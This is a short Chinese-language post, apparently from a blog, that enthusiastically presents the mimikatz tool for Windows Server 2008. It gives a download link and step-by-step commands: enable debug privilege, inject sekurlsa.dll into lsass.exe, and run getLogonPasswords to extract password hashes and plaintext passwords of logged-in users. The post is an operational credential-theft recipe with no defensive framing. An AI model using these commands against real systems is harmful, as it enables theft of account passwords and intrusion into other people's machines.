win2008获取帐号口令，一款最近发现的工具

最近在网上突然找到一款工具，可直接获取windows操作系统的口令，不但可提取主机的hash至，并且出来的密码都是明文的，比较牛X，但是需要超级用户权限，具体如下：

工具下载地址：

http://blog.gentilkiwi.com/mimikatz

使用方法：

1. 运行程序：mimikatz.exe

2. 输入：privilege::debug

3. 输入：inject::process lsass.exe sekurlsa.dll

应该是将sekurlsa.dll 注入到lsass.exe 中

4. 输入：@getLogonPasswords

获取主机的hash值和当前用户的明文密码！强悍！

惊喜吧！